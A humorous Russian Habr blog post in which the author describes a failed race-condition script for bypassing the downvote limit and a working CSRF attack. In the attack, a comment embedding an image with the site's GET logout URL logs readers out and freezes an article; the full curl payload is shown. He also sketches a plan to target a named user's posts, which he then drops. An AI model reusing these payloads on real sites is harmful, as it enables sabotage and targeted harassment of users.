Я помню тот старый Хабр. Логотип был похож на комок шерсти после отрыжки кота, я писал какие-то наивные статьи и мне казалось, что я очень крут (нет), а народ пилил годные технические полотна текста, и чтобы узнать инфу про чёрные точки на лице, нужно было посещать другие сайты. Это было прикольно.
Потом что-то пошло не так, начали появляться какие-то полутехнические статьи, и (далее моя интерпретация событий) чтобы сохранить Хабр, всех нетехнических писателей заманили в один корабль и отправили куда подальше на гиктаймс - подобно тому, как врач ампутирует руку пациенту, чтобы спасти жизнь. В данном случае, правда, врач подержал эту руку, посмотрел на неё, а потом пришил обратно. Что из этого вышло?
Ну зайдите в ленту, выберите "всё подряд" и увидите.
Проблема
Вы всё сами знаете, но я всё равно расскажу персонально для Хабр и Ко. Мы тут вроде голосуем, выбираем что-то годное, но поток бессмысленных и беспощадных статей всё равно больше. У меня конкретно горит, потому что я свои статьи вынашиваю, как детей, по несколько месяцев, собираю инфу, делаю фактчеки, чтобы не обосраться перед специалистами, постоянно удаляю что-то, потому что тупой и неправ... А потом открываю вот это, а там тысяча статей! Чувак просто берёт всё, вообще всё, до чего дотянется, переводит и постит в надежде, что что-нибудь выстрелит. Какой там фактчек, это же перевод, никто не прикопается - мопед ведь не автора, он просто разместил объяву перевод!..
Короче, этот чувак мне даже нравится, потому что удобно олицетворяет то, что я отрицаю: низкосортный контент на потоке. Поэтому простите: мне надоело делать это вручную, и я написал скрапер для автоматического минусования статей @MaxRokatansky
И чо?
Ну да, вообще ничего такого в этом нет. Как только программист рождается, он сразу пишет свой первый парсер, так что обсуждать нечего.
И тем не менее.
Я открываю правила сайта и читаю:
От величины кармы напрямую зависит то, сколько раз в сутки пользователь может проголосовать за карму, публикации и комментарии других участников сообщества. Арифметика простая: 1 единица кармы = 1 голос в сутки, который можно отдать за карму или публикацию, либо 2 голоса за комментарии. Например, если пользователь достиг показателя кармы в +50 единиц, то в сутки он сможет 50 раз проголосовать за карму и публикации, и 100 раз за комментарии. Если он израсходует этот заряд, то для возобновления возможности голосования ему потребуется подождать 24 часа.
Итак, у меня карма 200+, значит я могу 200 раз проголосовать за статьи, так?
Оказывается, Хабр - это типа прекрасная страна фей: можно 200 раз проголосовать положительно, но вот отрицательно - только 10 раз, потом вас банят на сутки и проголосовать вообще нельзя, даже как фея (в смысле, поставить +1). Какого хрена вообще? Это как если бы мне дали 100 рублей, но тратить их них я мог бы только 5. Зачем тогда?
Да, в принципе мне хватало, чтобы минусовать безумного Макса, но вот троих безумных Максов я бы уже не вывез, а планы по очистке Хабра у меня были грандиозные.
И я взбесился.
Паралелизэйшын
Должен был быть способ, чтобы голосовать больше 10 раз.
Я стал изучать запросы к сайту в консоли Vivaldi. Очень скоро стало понятно, что взимодействие с сайтом идёт через API https://habr.com/kek/v2
. Никакого openapi и тем более swagger'а я не обнаружил, поэтому стал просто смотреть, что вообще есть.
Больше всего меня интересовал запрос POST https://habr.com/kek/v2/articles/{post}/votes/down
- понижение рейтинга статьи. 10 раз в сутки - лимит. Как его обойти?
Я давно слышал, что есть одна тема с гонкой... Вот 100 моих запросов на минусование статей. Если они одновременно поступят на бэкенд и спросят "сколько осталось минусов у этого кожаного мешка?", то, при достаточно плохих программистах, писавших сайт, бэкенд одновременно 1000 раз запросит БД, получит одинаковый ответ, и запросы выполнятся, после чего уже будут записаны факты минусования. То есть нужно очень быстро сделать много запросов, чтобы проверка на лимит запросов произошла до их завершения.
Для этого я написал скрипт на питоне. Чтобы это было быстро, я использовал async и делал последующий запрос, даже не дожидаясь ответа для предыдущего. Вот такой код:
COOKIES = {c['name']: c['value'] for c in json.load(open('cookies.json'))}
API_URL = 'https://habr.com/kek/v2'
async def vote(session, post: int) -> aiohttp.ClientResponse:
url = f'{API_URL}/articles/{post}/votes/down'
log.debug(url)
return session.post(url, json={'reason': '6'})
async def shoot(posts):
log.debug(f'Total {len(posts)}')
async with aiohttp.ClientSession(cookies=COOKIES) as session:
log.debug('Warm up')
response = await session.get('https://habr.com/ru/company/otus/blog/595343/')
assert response.status == 200
html = await response.text()
csrf_token = re.search(r'<meta name="csrf-token" content="(.+?)">', html)[1]
log.info(f'{csrf_token=}')
session.headers['csrf-token'] = csrf_token
tasks = [
asyncio.create_task(vote(session, post))
for post in posts
]
coroutines = await asyncio.gather(*tasks)
responses = []
for coro in coroutines:
response = await coro
responses.append(response)
results = []
for i, response in enumerate(responses):
data = await response.read()
result = posts[i], response.status, data.decode('utf8')
log.debug(result)
results.append(result)
json.dump(results, open('results.json', 'a'), indent=4)
with open('posts.txt') as file:
lines = file.read().split('\n')
posts = [line.rsplit('/', maxsplit=2)[-2] for line in lines if line.strip() and not line.startswith('#')]
assert all(int(post) for post in posts)
asyncio.run(shoot(posts))
Я зарядил 100 статей, и пошла артиллерия...
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,296 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,297 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,298 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
2021-12-21 23:58:39,299 DEBUG __main__ https://habr.com/kek/v2/articles/.../votes/down
Все запросы уложились, наверно, в 10 мс.
И тут я обломался: это не работало. Более того, если я посылал 10 запросов на минусование одного и того же поста, то первый отрабатывал, остальные 9 возвращали already voted, и меня всё равно банили, хотя я по факту ставил только один минус. Полный провал.
Возможно, я был недостаточно быстрый. Можно было переписать на nim - он компилируется и там тоже есть async - и запустить поближе к серверам Хабра, но это показалось мне слишком мутным решением без гарантии результата.
Логаут
Проблема меня зацепила. Я должен был остановить Макса, но не знал, как. Это была навязчивая идея, я постоянно думал над этим.
Одним вечером я решил конкретно изучить API Хабра. Если вы почитаете истории взломов, то узнаете, что сервисы обычно хакают через какой-нибудь левый функционал, который используют 3.5 человека в год. Что-то такое, например, было в azure Jupyter notebooks. Смысл в том, что основной функционал тестируют как следует, а на хрен-знает-что разрабы тратят гораздо меньше времени.
На Хабре самое главное - постинг статей, поэтому искать что-то там я не стал, а просто стал лазить по разделам сайта с открытыми Dev tools. И внезапно, даже без них, увидел вот что:
Да, это оно и есть: при наведении на кнопку выхода появляется ссылка, то есть для выхода браузер делает GET
запрос. Ещё раз: GET
запрос (без подтверждения) для действия, меняющего состояние!
Золотая классика - это вставлять такие ссылки в тег <img>
, чтобы запрос выполнялся при загрузке картинки.
Я попробовал вставить такую картинку в статью из черновиков. Новый редактор для этого не очень удобен, поэтому я открыл старую версию и сделал всё там. При заходе в просмотр статьи меня разлогинивало - браузер видел картинку, пытался загрузить её с адреса https://habr.com/kek/v1/auth/logout2/
, что вызывало выход из аккаунта. Визуально ничего не менялось, аватарка оставалась на месте, но ничего сделать уже было нельзя - комменты и лайки недоступны неавторизованным юзерам. После обновления странички я видел, что уже вышел из аккаунта.
Сначала я хотел запостить статью с такой картинкой в конце, но потом подумал, что это тупейшая моя идея, потому что никто ничего не сможет сделать - ни рейтинг изменить, ни коммент поставить. Можно ли это провернуть с чужой статьёй?..
Это же технический ресурс! Конечно, можно!
Вроде картинки можно прикреплять к комментам. Я открыл пост друга и посмотрел, какой запрос браузер делает в момент отправки коммента. И добавил в запрос свою картинку.
curl 'https://habr.com/kek/v2/articles/533420/comments/23977309' \
# ...
-H 'csrf-token: ...' \
-H 'Cookie: ...' \
--data-raw '{"isMarkdown":true,"text":{"source":"{\"type\":\"doc\",\"content\
":[{\"type\":\"paragraph\",\"attrs\":{\"align\":null,\"simple\":false,\
"persona\":false},\"content\":[{\"type\":\"text\",\"text\":\"А есть ли
возможность запускать другие скриптовые языки? Не луа, а питон, например :>\"}]},
{\"type\":\"image\",\"attrs\":{\"src\":\"https://habr.com/kek/v1/auth/logout2/\",
\"title\":null,\"customClass\":\"image\",\"border\":false,\"float\":false,
\"fullWidth\":false,\"inserted\":false,\"width\":5,\"height\":5}},
{\"type\":\"paragraph\",\"attrs\":{\"align\":null,\"simple\":false,
\"persona\":false}}]}","editorVersion":2},"parentId":"23977309","timestamp":
1642886718748}'
Извини, Паша, твою статью больше никто не откомментирует.
Видюшка с proof-of-concept
Итак, вот мой план по ликвидации @MaxRokatansky с Хабра:
Создаю аккаунт без персональных данных и через vpn
Пишу статью, чтобы набрать рейтинг - поверьте, в моей голове есть идеи 8)
Пишу скрипт, проверяющий посты Макса каждую минуту
Если есть новый пост, то я (опционально) ставлю минус, отправляю комментарий с хвалебными речами и моей картинкой
В итоге у статьи 0 (или -1) и она заморожена: её можно посмотреть, но нельзя комментировать или менять рейтинг
Или можно следить за рейтингом через апи и постить деструктивный коммент через определённый промежуток времени, чтобы ограничить рост на нужном значении рейтинга (хотя с Максом, хех, это и не нужно, да и вообще не вижу смысла морозить чью-либо хорошую статью)
Запостить можно в середине какого-нибудь треда, чтобы никто не догадался (но желательно ближе к началу, потому что вдруг lazy loading?) :>
Вот такой нехитрой логикой можно заморозить вообще всё.
И как только я всё это осознал, когда я понял, что могу надёжно заминусовать или занулить поток этих говностатей и раздолбать этот дурацкий OTUS и кого угодно вообще - мне почему-то стало на них абсолютно наплевать.
Нет, ну вы представляете!
Если вам нравится то, что я пишу, то буду чертовски рад вам в моей группе: Блог Погромиста. Обожаю каждого подписчика.
И как всегда актуальный опрос: